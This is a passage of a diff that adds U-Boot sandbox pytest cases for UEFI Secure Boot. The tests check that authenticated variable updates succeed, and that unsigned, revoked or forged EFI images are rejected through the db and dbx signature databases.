+ 'fatload host 0:1 4000000 PK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK',
+ 'fatload host 0:1 4000000 KEK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+ 'fatload host 0:1 4000000 db.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+ 'printenv -e -n -guid d719b2cb-3d3a-4596-a3bc-dad00e67656f db'])
+ assert 'Failed to set EFI variable' not in ''.join(output)
+ assert 'db:' in ''.join(output)
+
+ output = u_boot_console.run_command_list([
+ 'fatload host 0:1 4000000 db1.auth',
+ 'setenv -e -nv -bs -rt -a -i 4000000:$filesize db'])
+ assert 'Failed to set EFI variable' in ''.join(output)
+
+ with u_boot_console.log.section('Test Case 3b'):
+ # Test Case 3b, update without correct signature
+ output = u_boot_console.run_command_list([
+ 'fatload host 0:1 4000000 db.esl',
+ 'setenv -e -nv -bs -rt -at -a -i 4000000:$filesize db'])
+ assert 'Failed to set EFI variable' in ''.join(output)
+
+ with u_boot_console.log.section('Test Case 3c'):
+ # Test Case 3c, update with correct signature
+ output = u_boot_console.run_command_list([
+ 'fatload host 0:1 4000000 db1.auth',
+ 'setenv -e -nv -bs -rt -at -a -i 4000000:$filesize db',
+ 'printenv -e -n -guid d719b2cb-3d3a-4596-a3bc-dad00e67656f db'])
+ assert 'Failed to set EFI variable' not in ''.join(output)
+ assert 'db:' in ''.join(output)
+
+ def test_efi_var_auth4(self, u_boot_console, efi_boot_env):
+ """
+ Test Case 4 - Delete database without authentication
+ """
+ u_boot_console.restart_uboot()
+ disk_img = efi_boot_env
+ with u_boot_console.log.section('Test Case 4a'):
+ # Test Case 4a, update without AUTHENTICATED_WRITE_ACCESS
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % disk_img,
+ 'fatload host 0:1 4000000 PK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK',
+ 'fatload host 0:1 4000000 KEK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+ 'fatload host 0:1 4000000 db.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+ 'printenv -e -n -guid d719b2cb-3d3a-4596-a3bc-dad00e67656f db'])
+ assert 'Failed to set EFI variable' not in ''.join(output)
+ assert 'db:' in ''.join(output)
+
+ output = u_boot_console.run_command_list([
+ 'setenv -e -nv -bs -rt db',
+ 'printenv -e -n -guid d719b2cb-3d3a-4596-a3bc-dad00e67656f db'])
+ assert 'Failed to set EFI variable' in ''.join(output)
+ assert 'db:' in ''.join(output)
+
+ with u_boot_console.log.section('Test Case 4b'):
+ # Test Case 4b, update without correct signature/data
+ output = u_boot_console.run_command_list([
+ 'setenv -e -nv -bs -rt -at db',
+ 'printenv -e -n -guid d719b2cb-3d3a-4596-a3bc-dad00e67656f db'])
+ assert 'Failed to set EFI variable' in ''.join(output)
+ assert 'db:' in ''.join(output)
+
+ def test_efi_var_auth5(self, u_boot_console, efi_boot_env):
+ """
+ Test Case 5 - Uninstall(delete) PK
+ """
+ u_boot_console.restart_uboot()
+ disk_img = efi_boot_env
+ with u_boot_console.log.section('Test Case 5a'):
+ # Test Case 5a, Uninstall PK without correct signature
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % disk_img,
+ 'fatload host 0:1 4000000 PK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK',
+ 'fatload host 0:1 4000000 KEK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+ 'fatload host 0:1 4000000 db.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+ 'printenv -e -n PK'])
+ assert 'Failed to set EFI variable' not in ''.join(output)
+ assert 'PK:' in ''.join(output)
+
+ output = u_boot_console.run_command_list([
+ 'fatload host 0:1 4000000 PK_null.esl',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK',
+ 'printenv -e -n PK'])
+ assert 'Failed to set EFI variable' in ''.join(output)
+ assert 'PK:' in ''.join(output)
+
+ with u_boot_console.log.section('Test Case 5b'):
+ # Test Case 5b, Uninstall PK with correct signature
+ output = u_boot_console.run_command_list([
+ 'fatload host 0:1 4000000 PK_null.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK',
+ 'printenv -e -n PK'])
+ assert 'Failed to set EFI variable' not in ''.join(output)
+ assert '\"PK\" not defined' in ''.join(output)
+
+ output = u_boot_console.run_command(
+ 'printenv -e SecureBoot')
+ assert '00000000: 00' in output
+ output = u_boot_console.run_command(
+ 'printenv -e SetupMode')
+ assert '00000000: 01' in output
diff --git a/test/py/tests/test_efi_secboot/test_signed.py b/test/py/tests/test_efi_secboot/test_signed.py
new file mode 100644
index 00000000000..5000a4ab7b6
--- /dev/null
+++ b/test/py/tests/test_efi_secboot/test_signed.py
@@ -0,0 +1,371 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2019, Linaro Limited
+# Author: AKASHI Takahiro <takahiro.akashi@linaro.org>
+#
+# U-Boot UEFI: Signed Image Authentication Test
+
+"""
+This test verifies image authentication for signed images.
+"""
+
+import pytest
+
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('efi_secure_boot')
+@pytest.mark.buildconfigspec('cmd_efidebug')
+@pytest.mark.buildconfigspec('cmd_fat')
+@pytest.mark.buildconfigspec('cmd_nvedit_efi')
+@pytest.mark.slow
+class TestEfiSignedImage(object):
+ def test_efi_signed_image_auth1(self, u_boot_console, efi_boot_env):
+ """
+ Test Case 1 - Secure boot is not in force
+ """
+ u_boot_console.restart_uboot()
+ disk_img = efi_boot_env
+ with u_boot_console.log.section('Test Case 1a'):
+ # Test Case 1a, run signed image if no PK
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % disk_img,
+ 'efidebug boot add -b 1 HELLO1 host 0:1 /helloworld.efi.signed -s ""',
+ 'efidebug boot order 1',
+ 'bootefi bootmgr'])
+ assert 'Hello, world!' in ''.join(output)
+
+ with u_boot_console.log.section('Test Case 1b'):
+ # Test Case 1b, run unsigned image if no PK
+ output = u_boot_console.run_command_list([
+ 'efidebug boot add -b 2 HELLO2 host 0:1 /helloworld.efi -s ""',
+ 'efidebug boot order 2',
+ 'bootefi bootmgr'])
+ assert 'Hello, world!' in ''.join(output)
+
+ def test_efi_signed_image_auth2(self, u_boot_console, efi_boot_env):
+ """
+ Test Case 2 - Secure boot is in force,
+ authenticated by db (TEST_db certificate in db)
+ """
+ u_boot_console.restart_uboot()
+ disk_img = efi_boot_env
+ with u_boot_console.log.section('Test Case 2a'):
+ # Test Case 2a, db is not yet installed
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % disk_img,
+ 'fatload host 0:1 4000000 KEK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+ 'fatload host 0:1 4000000 PK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK'])
+ assert 'Failed to set EFI variable' not in ''.join(output)
+ output = u_boot_console.run_command_list([
+ 'efidebug boot add -b 1 HELLO1 host 0:1 /helloworld.efi.signed -s ""',
+ 'efidebug boot order 1',
+ 'efidebug test bootmgr'])
+ assert('\'HELLO1\' failed' in ''.join(output))
+ assert('efi_bootmgr_load() returned: 26' in ''.join(output))
+ output = u_boot_console.run_command_list([
+ 'efidebug boot add -b 2 HELLO2 host 0:1 /helloworld.efi -s ""',
+ 'efidebug boot order 2',
+ 'efidebug test bootmgr'])
+ assert '\'HELLO2\' failed' in ''.join(output)
+ assert 'efi_bootmgr_load() returned: 26' in ''.join(output)
+
+ with u_boot_console.log.section('Test Case 2b'):
+ # Test Case 2b, authenticated by db
+ output = u_boot_console.run_command_list([
+ 'fatload host 0:1 4000000 db.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize db'])
+ assert 'Failed to set EFI variable' not in ''.join(output)
+ output = u_boot_console.run_command_list([
+ 'efidebug boot order 2',
+ 'efidebug test bootmgr'])
+ assert '\'HELLO2\' failed' in ''.join(output)
+ assert 'efi_bootmgr_load() returned: 26' in ''.join(output)
+ output = u_boot_console.run_command_list([
+ 'efidebug boot order 1',
+ 'bootefi bootmgr'])
+ assert 'Hello, world!' in ''.join(output)
+
+ def test_efi_signed_image_auth3(self, u_boot_console, efi_boot_env):
+ """
+ Test Case 3 - rejected by dbx (TEST_db certificate in dbx)
+ """
+ u_boot_console.restart_uboot()
+ disk_img = efi_boot_env
+ with u_boot_console.log.section('Test Case 3a'):
+ # Test Case 3a, rejected by dbx
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % disk_img,
+ 'fatload host 0:1 4000000 db.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize dbx',
+ 'fatload host 0:1 4000000 KEK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+ 'fatload host 0:1 4000000 PK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK'])
+ assert 'Failed to set EFI variable' not in ''.join(output)
+ output = u_boot_console.run_command_list([
+ 'efidebug boot add -b 1 HELLO host 0:1 /helloworld.efi.signed -s ""',
+ 'efidebug boot order 1',
+ 'efidebug test bootmgr'])
+ assert '\'HELLO\' failed' in ''.join(output)
+ assert 'efi_bootmgr_load() returned: 26' in ''.join(output)
+
+ with u_boot_console.log.section('Test Case 3b'):
+ # Test Case 3b, rejected by dbx even if db allows
+ output = u_boot_console.run_command_list([
+ 'fatload host 0:1 4000000 db.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize db'])
+ assert 'Failed to set EFI variable' not in ''.join(output)
+ output = u_boot_console.run_command_list([
+ 'efidebug boot order 1',
+ 'efidebug test bootmgr'])
+ assert '\'HELLO\' failed' in ''.join(output)
+ assert 'efi_bootmgr_load() returned: 26' in ''.join(output)
+
+ def test_efi_signed_image_auth4(self, u_boot_console, efi_boot_env):
+ """
+ Test Case 4 - revoked by dbx (digest of TEST_db certificate in dbx)
+ """
+ u_boot_console.restart_uboot()
+ disk_img = efi_boot_env
+ with u_boot_console.log.section('Test Case 4'):
+ # Test Case 4, rejected by dbx
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % disk_img,
+ 'fatload host 0:1 4000000 dbx_hash.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize dbx',
+ 'fatload host 0:1 4000000 db.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+ 'fatload host 0:1 4000000 KEK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+ 'fatload host 0:1 4000000 PK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK'])
+ assert 'Failed to set EFI variable' not in ''.join(output)
+ output = u_boot_console.run_command_list([
+ 'efidebug boot add -b 1 HELLO host 0:1 /helloworld.efi.signed -s ""',
+ 'efidebug boot order 1',
+ 'efidebug test bootmgr'])
+ assert '\'HELLO\' failed' in ''.join(output)
+ assert 'efi_bootmgr_load() returned: 26' in ''.join(output)
+
+ def test_efi_signed_image_auth5(self, u_boot_console, efi_boot_env):
+ """
+ Test Case 5 - multiple signatures
+ one signed with TEST_db, and
+ one signed with TEST_db1
+ """
+ u_boot_console.restart_uboot()
+ disk_img = efi_boot_env
+ with u_boot_console.log.section('Test Case 5a'):
+ # Test Case 5a, authenticated even if only one of signatures
+ # is verified
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % disk_img,
+ 'fatload host 0:1 4000000 db.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+ 'fatload host 0:1 4000000 KEK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+ 'fatload host 0:1 4000000 PK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK'])
+ assert 'Failed to set EFI variable' not in ''.join(output)
+ output = u_boot_console.run_command_list([
+ 'efidebug boot add -b 1 HELLO host 0:1 /helloworld.efi.signed_2sigs -s ""',
+ 'efidebug boot order 1',
+ 'efidebug test bootmgr'])
+ assert 'Hello, world!' in ''.join(output)
+
+ with u_boot_console.log.section('Test Case 5b'):
+ # Test Case 5b, authenticated if both signatures are verified
+ output = u_boot_console.run_command_list([
+ 'fatload host 0:1 4000000 db1.auth',
+ 'setenv -e -nv -bs -rt -at -a -i 4000000:$filesize db'])
+ assert 'Failed to set EFI variable' not in ''.join(output)
+ output = u_boot_console.run_command_list([
+ 'efidebug boot order 1',
+ 'efidebug test bootmgr'])
+ assert 'Hello, world!' in ''.join(output)
+
+ with u_boot_console.log.section('Test Case 5c'):
+ # Test Case 5c, rejected if one of signatures (digest of
+ # certificate) is revoked
+ output = u_boot_console.run_command_list([
+ 'fatload host 0:1 4000000 dbx_hash.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize dbx'])
+ assert 'Failed to set EFI variable' not in ''.join(output)
+ output = u_boot_console.run_command_list([
+ 'efidebug boot order 1',
+ 'efidebug test bootmgr'])
+ assert '\'HELLO\' failed' in ''.join(output)
+ assert 'efi_bootmgr_load() returned: 26' in ''.join(output)
+
+ with u_boot_console.log.section('Test Case 5d'):
+ # Test Case 5d, rejected if both of signatures are revoked
+ output = u_boot_console.run_command_list([
+ 'fatload host 0:1 4000000 dbx_hash1.auth',
+ 'setenv -e -nv -bs -rt -at -a -i 4000000:$filesize dbx'])
+ assert 'Failed to set EFI variable' not in ''.join(output)
+ output = u_boot_console.run_command_list([
+ 'efidebug boot order 1',
+ 'efidebug test bootmgr'])
+ assert '\'HELLO\' failed' in ''.join(output)
+ assert 'efi_bootmgr_load() returned: 26' in ''.join(output)
+
+ # Try rejection in reverse order.
+ u_boot_console.restart_uboot()
+ with u_boot_console.log.section('Test Case 5e'):
+ # Test Case 5e, authenticated even if only one of signatures
+ # is verified. Same as before but reject dbx_hash1.auth only
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % disk_img,
+ 'fatload host 0:1 4000000 db.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+ 'fatload host 0:1 4000000 KEK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+ 'fatload host 0:1 4000000 PK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK',
+ 'fatload host 0:1 4000000 db1.auth',
+ 'setenv -e -nv -bs -rt -at -a -i 4000000:$filesize db',
+ 'fatload host 0:1 4000000 dbx_hash1.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize dbx'])
+ assert 'Failed to set EFI variable' not in ''.join(output)
+ output = u_boot_console.run_command_list([
+ 'efidebug boot add -b 1 HELLO host 0:1 /helloworld.efi.signed_2sigs -s ""',
+ 'efidebug boot order 1',
+ 'efidebug test bootmgr'])
+ assert '\'HELLO\' failed' in ''.join(output)
+ assert 'efi_bootmgr_load() returned: 26' in ''.join(output)
+
+ def test_efi_signed_image_auth6(self, u_boot_console, efi_boot_env):
+ """
+ Test Case 6 - using digest of signed image in database
+ """
+ u_boot_console.restart_uboot()
+ disk_img = efi_boot_env
+ with u_boot_console.log.section('Test Case 6a'):
+ # Test Case 6a, verified by image's digest in db
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % disk_img,
+ 'fatload host 0:1 4000000 db_hello_signed.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+ 'fatload host 0:1 4000000 KEK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+ 'fatload host 0:1 4000000 PK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK'])
+ assert 'Failed to set EFI variable' not in ''.join(output)
+ output = u_boot_console.run_command_list([
+ 'efidebug boot add -b 1 HELLO host 0:1 /helloworld.efi.signed -s ""',
+ 'efidebug boot order 1',
+ 'bootefi bootmgr'])
+ assert 'Hello, world!' in ''.join(output)
+
+ with u_boot_console.log.section('Test Case 6b'):
+ # Test Case 6b, rejected by TEST_db certificate in dbx
+ output = u_boot_console.run_command_list([
+ 'fatload host 0:1 4000000 dbx_db.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize dbx'])
+ assert 'Failed to set EFI variable' not in ''.join(output)
+ output = u_boot_console.run_command_list([
+ 'efidebug boot order 1',
+ 'efidebug test bootmgr'])
+ assert '\'HELLO\' failed' in ''.join(output)
+ assert 'efi_bootmgr_load() returned: 26' in ''.join(output)
+
+ with u_boot_console.log.section('Test Case 6c'):
+ # Test Case 6c, rejected by image's digest in dbx
+ output = u_boot_console.run_command_list([
+ 'fatload host 0:1 4000000 db.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+ 'fatload host 0:1 4000000 dbx_hello_signed.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize dbx'])
+ assert 'Failed to set EFI variable' not in ''.join(output)
+ output = u_boot_console.run_command_list([
+ 'efidebug boot order 1',
+ 'efidebug test bootmgr'])
+ assert '\'HELLO\' failed' in ''.join(output)
+ assert 'efi_bootmgr_load() returned: 26' in ''.join(output)
+
+ def test_efi_signed_image_auth7(self, u_boot_console, efi_boot_env):
+ """
+ Test Case 7 - Reject images based on the sha384/512 of their x509 cert
+ """
+ # sha384 of an x509 cert in dbx
+ u_boot_console.restart_uboot()
+ disk_img = efi_boot_env
+ with u_boot_console.log.section('Test Case 7a'):
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % disk_img,
+ 'fatload host 0:1 4000000 db.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+ 'fatload host 0:1 4000000 KEK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+ 'fatload host 0:1 4000000 PK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK',
+ 'fatload host 0:1 4000000 db1.auth',
+ 'setenv -e -nv -bs -rt -at -a -i 4000000:$filesize db',
+ 'fatload host 0:1 4000000 dbx_hash384.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize dbx'])
+ assert 'Failed to set EFI variable' not in ''.join(output)
+ output = u_boot_console.run_command_list([
+ 'efidebug boot add -b 1 HELLO host 0:1 /helloworld.efi.signed_2sigs -s ""',
+ 'efidebug boot order 1',
+ 'efidebug test bootmgr'])
+ assert '\'HELLO\' failed' in ''.join(output)
+ assert 'efi_bootmgr_load() returned: 26' in ''.join(output)
+
+ # sha512 of an x509 cert in dbx
+ u_boot_console.restart_uboot()
+ with u_boot_console.log.section('Test Case 7b'):
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % disk_img,
+ 'fatload host 0:1 4000000 db.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+ 'fatload host 0:1 4000000 KEK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+ 'fatload host 0:1 4000000 PK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK',
+ 'fatload host 0:1 4000000 db1.auth',
+ 'setenv -e -nv -bs -rt -at -a -i 4000000:$filesize db',
+ 'fatload host 0:1 4000000 dbx_hash512.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize dbx'])
+ assert 'Failed to set EFI variable' not in ''.join(output)
+ output = u_boot_console.run_command_list([
+ 'efidebug boot add -b 1 HELLO host 0:1 /helloworld.efi.signed_2sigs -s ""',
+ 'efidebug boot order 1',
+ 'efidebug test bootmgr'])
+ assert '\'HELLO\' failed' in ''.join(output)
+ assert 'efi_bootmgr_load() returned: 26' in ''.join(output)
+
+ def test_efi_signed_image_auth8(self, u_boot_console, efi_boot_env):
+ """
+ Test Case 8 - Secure boot is in force,
+ Same as Test Case 2 but the image binary to be loaded
+ was willfully modified (forged)
+ Must be rejected.
+ """
+ u_boot_console.restart_uboot()
+ disk_img = efi_boot_env
+ with u_boot_console.log.section('Test Case 8a'):
+ # Test Case 8a, Secure boot is not yet forced
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % disk_img,
+ 'efidebug boot add -b 1 HELLO1 host 0:1 /helloworld_forged.efi.signed -s ""',
+ 'efidebug boot order 1',
+ 'efidebug test bootmgr'])
+ assert('hELLO, world!' in ''.join(output))
+
+ with u_boot_console.log.section('Test Case 8b'):
+ # Test Case 8b, Install signature database and verify the image
+ output = u_boot_console.run_command_list([
+ 'fatload host 0:1 4000000 db.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+ 'fatload host 0:1 4000000 KEK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+ 'fatload host 0:1 4000000 PK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK'])
+ assert 'Failed to set EFI variable' not in ''.join(output)
+ output = u_boot_console.run_command_list([
+ 'efidebug boot order 1',
+ 'efidebug test bootmgr'])
+ assert(not 'hELLO, world!' in ''.join(output))
+ assert('\'HELLO1\' failed' in ''.join(output))
+ assert('efi_bootmgr_load() returned: 26' in ''.join(output))
diff --git a/test/py/tests/test_efi_secboot/test_signed_intca.py b/test/py/tests/test_efi_secboot/test_signed_intca.py
new file mode 100644
index 00000000000..cf906205bc2
--- /dev/null
+++ b/test/py/tests/test_efi_secboot/test_signed_intca.py
@@ -0,0 +1,135 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2020, Linaro Limited
+# Author: AKASHI Takahiro <takahiro.akashi@linaro.org>
+#
+# U-Boot UEFI: Image Authentication Test (signature with certificates chain)
+
+"""
+This test verifies image authentication for a signed image which is signed
+by user certificate and contains additional intermediate certificates in its
+signature.
+"""
+
+import pytest
+
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('efi_secure_boot')
+@pytest.mark.buildconfigspec('cmd_efidebug')
+@pytest.mark.buildconfigspec('cmd_fat')
+@pytest.mark.buildconfigspec('cmd_nvedit_efi')
+@pytest.mark.slow
+class TestEfiSignedImageIntca(object):
+ def test_efi_signed_image_intca1(self, u_boot_console, efi_boot_env_intca):
+ """
+ Test Case 1 - authenticated by root CA in db
+ """
+ u_boot_console.restart_uboot()
+ disk_img = efi_boot_env_intca
+ with u_boot_console.log.section('Test Case 1a'):
+ # Test Case 1a, with no Int CA and not authenticated by root CA
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % disk_img,
+ 'fatload host 0:1 4000000 db_c.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+ 'fatload host 0:1 4000000 KEK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+ 'fatload host 0:1 4000000 PK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK'])
+ assert 'Failed to set EFI variable' not in ''.join(output)
+
+ output = u_boot_console.run_command_list([
+ 'efidebug boot add -b 1 HELLO_a host 0:1 /helloworld.efi.signed_a -s ""',
+ 'efidebug boot order 1',
+ 'efidebug test bootmgr'])
+ assert '\'HELLO_a\' failed' in ''.join(output)
+ assert 'efi_bootmgr_load() returned: 26' in ''.join(output)
+
+ with u_boot_console.log.section('Test Case 1b'):
+ # Test Case 1b, signed and authenticated by root CA
+ output = u_boot_console.run_command_list([
+ 'efidebug boot add -b 2 HELLO_ab host 0:1 /helloworld.efi.signed_ab -s ""',
+ 'efidebug boot order 2',
+ 'bootefi bootmgr'])
+ assert 'Hello, world!' in ''.join(output)
+
+ def test_efi_signed_image_intca2(self, u_boot_console, efi_boot_env_intca):
+ """
+ Test Case 2 - authenticated by root CA in db
+ """
+ u_boot_console.restart_uboot()
+ disk_img = efi_boot_env_intca
+ with u_boot_console.log.section('Test Case 2a'):
+ # Test Case 2a, unsigned and not authenticated by root CA
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % disk_img,
+ 'fatload host 0:1 4000000 KEK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+ 'fatload host 0:1 4000000 PK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK'])
+ assert 'Failed to set EFI variable' not in ''.join(output)
+
+ output = u_boot_console.run_command_list([
+ 'efidebug boot add -b 1 HELLO_abc host 0:1 /helloworld.efi.signed_abc -s ""',
+ 'efidebug boot order 1',
+ 'efidebug test bootmgr'])
+ assert '\'HELLO_abc\' failed' in ''.join(output)
+ assert 'efi_bootmgr_load() returned: 26' in ''.join(output)
+
+ with u_boot_console.log.section('Test Case 2b'):
+ # Test Case 2b, signed and authenticated by root CA
+ output = u_boot_console.run_command_list([
+ 'fatload host 0:1 4000000 db_b.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+ 'efidebug boot order 1',
+ 'efidebug test bootmgr'])
+ assert '\'HELLO_abc\' failed' in ''.join(output)
+ assert 'efi_bootmgr_load() returned: 26' in ''.join(output)
+
+ with u_boot_console.log.section('Test Case 2c'):
+ # Test Case 2c, signed and authenticated by root CA
+ output = u_boot_console.run_command_list([
+ 'fatload host 0:1 4000000 db_c.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+ 'efidebug boot order 1',
+ 'efidebug test bootmgr'])
+ assert 'Hello, world!' in ''.join(output)
+
+ def test_efi_signed_image_intca3(self, u_boot_console, efi_boot_env_intca):
+ """
+ Test Case 3 - revoked by dbx
+ """
+ u_boot_console.restart_uboot()
+ disk_img = efi_boot_env_intca
+ with u_boot_console.log.section('Test Case 3a'):
+ # Test Case 3a, revoked by int CA in dbx
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % disk_img,
+ 'fatload host 0:1 4000000 dbx_b.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize dbx',
+ 'fatload host 0:1 4000000 db_c.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+ 'fatload host 0:1 4000000 KEK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+ 'fatload host 0:1 4000000 PK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK'])
+ assert 'Failed to set EFI variable' not in ''.join(output)
+
+ output = u_boot_console.run_command_list([
+ 'efidebug boot add -b 1 HELLO_abc host 0:1 /helloworld.efi.signed_abc -s ""',
+ 'efidebug boot order 1',
+ 'efidebug test bootmgr'])
+ assert 'Hello, world!' in ''.join(output)
+ # Or,
+ # assert '\'HELLO_abc\' failed' in ''.join(output)
+ # assert 'efi_bootmgr_load() returned: 26' in ''.join(output)
+
+ with u_boot_console.log.section('Test Case 3b'):
+ # Test Case 3b, revoked by root CA in dbx
+ output = u_boot_console.run_command_list([
+ 'fatload host 0:1 4000000 dbx_c.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize dbx',
+ 'efidebug boot order 1',
+ 'efidebug test bootmgr'])
+ assert '\'HELLO_abc\' failed' in ''.join(output)
+ assert 'efi_bootmgr_load() returned: 26' in ''.join(output)
diff --git a/test/py/tests/test_efi_secboot/test_unsigned.py b/test/py/tests/test_efi_secboot/test_unsigned.py
new file mode 100644
index 00000000000..b4320ae4054
--- /dev/null
+++ b/test/py/tests/test_efi_secboot/test_unsigned.py
@@ -0,0 +1,117 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2019, Linaro Limited
+# Author: AKASHI Takahiro <takahiro.akashi@linaro.org>
+#
+# U-Boot UEFI: Signed Image Authentication Test
+
+"""
+This test verifies image authentication for unsigned images.
+"""
+
+import pytest
+
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('efi_secure_boot')
+@pytest.mark.buildconfigspec('cmd_efidebug')
+@pytest.mark.buildconfigspec('cmd_fat')
+@pytest.mark.buildconfigspec('cmd_nvedit_efi')
+@pytest.mark.slow
+class TestEfiUnsignedImage(object):
+ def test_efi_unsigned_image_auth1(self, u_boot_console, efi_boot_env):
+ """
+ Test Case 1 - rejected when not digest in db or dbx
+ """
+ u_boot_console.restart_uboot()
+ disk_img = efi_boot_env
+ with u_boot_console.log.section('Test Case 1'):
+ # Test Case 1
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % disk_img,
+ 'fatload host 0:1 4000000 KEK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+ 'fatload host 0:1 4000000 PK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK'])
+ assert 'Failed to set EFI variable' not in ''.join(output)
+
+ output = u_boot_console.run_command_list([
+ 'efidebug boot add -b 1 HELLO host 0:1 /helloworld.efi -s ""',
+ 'efidebug boot order 1',
+ 'bootefi bootmgr'])
+ assert '\'HELLO\' failed' in ''.join(output)
+ output = u_boot_console.run_command_list([
+ 'efidebug boot order 1',
+ 'efidebug test bootmgr'])
+ assert 'efi_bootmgr_load() returned: 26' in ''.join(output)
+ assert 'Hello, world!' not in ''.join(output)
+
+ def test_efi_unsigned_image_auth2(self, u_boot_console, efi_boot_env):
+ """
+ Test Case 2 - authenticated by digest in db
+ """
+ u_boot_console.restart_uboot()
+ disk_img = efi_boot_env
+ with u_boot_console.log.section('Test Case 2'):
+ # Test Case 2
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % disk_img,
+ 'fatload host 0:1 4000000 db_hello.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+ 'fatload host 0:1 4000000 KEK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+ 'fatload host 0:1 4000000 PK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK'])
+ assert 'Failed to set EFI variable' not in ''.join(output)
+
+ output = u_boot_console.run_command_list([
